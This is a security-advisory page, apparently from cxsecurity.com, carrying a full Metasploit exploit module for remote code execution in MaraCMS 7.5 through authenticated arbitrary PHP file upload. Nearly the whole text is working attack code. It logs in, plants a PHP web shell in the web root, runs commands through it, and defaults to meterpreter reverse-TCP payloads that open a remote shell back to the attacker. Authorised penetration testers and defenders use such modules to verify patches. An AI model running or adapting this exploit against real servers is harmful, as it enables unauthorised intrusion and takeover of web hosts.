MaraCMS 7.5 Remote Code Execution

2020.09.28
Credit: Erik Wynter
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'MaraCMS Arbitrary PHP File Upload', 'Description' => %q{ This module exploits an arbitrary file upload vulnerability in MaraCMS 7.5 and prior in order to execute arbitrary commands. The module first attempts to authenticate to MaraCMS. It then tries to upload a malicious PHP file to the web root via an HTTP POST request to `codebase/handler.php.` If the `php` target is selected, the payload is embedded in the uploaded file and the module attempts to execute the payload via an HTTP GET request to this file. For the `linux` and `windows` targets, the module uploads a simple PHP web shell similar to `<?php system($_GET["cmd"]); ?>`. Subsequently, it leverages the CmdStager mixin to deliver the final payload via a series of HTTP GET requests to the PHP web shell. Valid credentials for a MaraCMS `admin` or `manager` account are required. This module has been successfully tested against MaraCMS 7.5 running on Windows Server 2012 (XAMPP server). }, 'License' => MSF_LICENSE, 'Author' => [ 'Michele Cisternino', # aka (0blio_) - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-25042'], ['EDB', '48780'] ], 'Payload' => { 'BadChars' => "\x00\x0d\x0a" }, 'Platform' => %w[linux win php], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PHP], 'Targets' => [ [ 'PHP', { 'Arch' => [ARCH_PHP], 'Platform' => 'php', 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ], [ 'Linux', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Windows', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'win', 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ] ], 'Privileged' => false, 'DisclosureDate' => '2020-08-31', 'DefaultTarget' => 0 ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to MaraCMS', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', 'changeme']) ] end def check vprint_status('Running check') # visit /about.php to obtain MaraCMS version and cookies res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'about.php'), 'keep_cookies' => true }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('Mara cms') return CheckCode::Safe('Target is not a MaraCMS application.') end html = res.get_html_document version_header = html.css('h1').text # obtain the h1 text, which for MaraCMS 7.5 is `Version 7.2 :: Production release` version = version_header.split(' ')[1] # grab the version number if version.blank? return CheckCode::Detected('Could not determine MaraCMS version.') end version = Gem::Version.new version unless version <= Gem::Version.new('7.2') # 7.2 is the version listed on the about page for MaraCMS 7.5 # MaraCMS no longer seems to be maintained, but the check below is added in case they every update it return CheckCode::Safe('Target is likely MaraCMS with a version higher than 7.5 and may not be vulnerable.') end return CheckCode::Appears('Target is most likely MaraCMS with version 7.5 or lower') end def login # visit login page in order to obtain `shash` value, which is necessary for authentication res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'login' => '' } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.') end unless res.code == 200 && /shash='(?<shash>.*?)';/ =~ res.body # obtain shash value from inside a <script> tag fail_with(Failure::Unknown, 'Failed to obtain the `shash` token that is necessary to authenticate to the server.') end nocache_value = rand # when visiting the page with a browser, JS generates the nocache_value in the same manner # try to obtain salt required for authentication res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'), 'ctype' => 'application/x-www-form-urlencoded', 'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}" }, 'vars_get' => { 'nocache' => nocache_value }, 'vars_post' => { 'action' => Rex::Text.encode_base64('setsalt').to_s, 'enccrc' => Digest::SHA256.hexdigest(''), # sha256 encoding of empty string 'status' => Rex::Text.encode_base64('Sending Request').to_s } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.') end unless res.code == 200 && res.body.include?('~::~') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to obtain the salt required for authentication.') end # obtain salt salt_base64 = res.body.to_s.split('~')[2] # the base64 encoded salt is returned in the format: ~::~encoded_salt~::~ salt = Rex::Text.decode_base64(salt_base64) if salt.to_i == 0 # if the salt is nil or contains characters other than numbers, this will be true # in case of an error, the server sends the error message, so this should be passed to the user fail_with(Failure::Unknown, "Failed to obtain the salt required for authentication. The server sent the following response: #{salt}") end print_status("Obtained salt `#{salt}` from server. Using salt to authenticate...") # use salt to generate authentication tokens username = datastore['USERNAME'] password = datastore['PASSWORD'] @username_base64 = Rex::Text.encode_base64(username) # this value is also used when uploading the payload unsalted_hash = Digest::SHA256.hexdigest("#{password}#{shash}#{username}") salted_hash = Digest::SHA256.hexdigest("#{unsalted_hash}#{salt}") @salted_hash_base64 = Rex::Text.encode_base64(salted_hash) # this value is also used when uploading the payload nocache_value = rand # create new nocache_value res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'), 'ctype' => 'application/x-www-form-urlencoded', 'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}" }, 'vars_get' => { 'nocache' => nocache_value }, 'vars_post' => { 'usr' => @username_base64, 'hash' => Rex::Text.encode_base64(unsalted_hash), 'pwd' => @salted_hash_base64, 'action' => Rex::Text.encode_base64('login').to_s, 'enccrc' => Digest::SHA256.hexdigest(''), # sha256 encoding of empty string 'rawresponse' => Rex::Text.encode_base64(salt_base64), 'status' => Rex::Text.encode_base64('Sending Request').to_s } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.') end unless res.code == 200 && res.body.include?('~::~') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate to the server.') end # obtain base64 encoded response from body and decode it server_response = Rex::Text.decode_base64(res.body.to_s.split('~')[2]) unless server_response.include?('OK:') fail_with(Failure::NoAccess, "#{server_response}.") # if authentication fails, the server sends the error message end print_good('Successfully authenticated to MaraCMS') end def upload_payload # set payload according to target platform if target['Platform'] == 'php' pl = payload.encoded else @shell_cmd_name = rand_text_alphanumeric(3..6) pl = "system($_GET[\"#{@shell_cmd_name}\"]);" end @payload_name = rand_text_alphanumeric(8..12) << '.php' one_base64 = Rex::Text.encode_base64('1') # used twice below # generate post data post_data = Rex::MIME::Message.new post_data.add_part(one_base64.to_s, nil, nil, 'form-data; name="authenticated"') post_data.add_part(Rex::Text.encode_base64('upload').to_s, nil, nil, 'form-data; name="action"') post_data.add_part('10485760', nil, nil, 'form-data; name="MAX_FILE_SIZE"') post_data.add_part('filenew', nil, nil, 'form-data; name="type"') post_data.add_part("<?php #{pl} ?>", 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{@payload_name}\"") post_data.add_part(@username_base64.to_s, nil, nil, 'form-data; name="usr"') post_data.add_part(@salted_hash_base64.to_s, nil, nil, 'form-data; name="pwd"') post_data.add_part(one_base64.to_s, nil, nil, 'form-data; name="authenticated"') post_data.add_part('/', nil, nil, 'form-data; name="destdir"') print_status("Uploading payload as #{@payload_name}...") # upload payload res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}#{normalize_uri(target_uri.path, 'codebase', 'dir.php?type=filenew')}" }, 'data' => post_data.to_s }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to upload the payload.') end unless res.code == 200 && res.body.include?("OK: #{@payload_name} uploaded.") fail_with(Failure::Unknown, 'Failed to upload the payload.') end register_file_for_cleanup(@payload_name) print_good("Successfully uploaded #{@payload_name}") end def execute_command(cmd, _opts = {}) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, @payload_name), 'vars_get' => { @shell_cmd_name => cmd } }) unless res && res.code == 200 fail_with(Failure::Unknown, 'Failed to execute the payload.') end end def exploit login upload_payload # For `php` targets, the payload can be executed via a simlpe GET request. For other targets, a cmdstager is necessary. if target['Platform'] == 'php' print_status('Executing the payload...') send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, @payload_name) }, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload else print_status("Executing the payload via a series of HTTP GET requests to `/#{@payload_name}?#{@shell_cmd_name}=<command>`") execute_cmdstager(background: true) end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top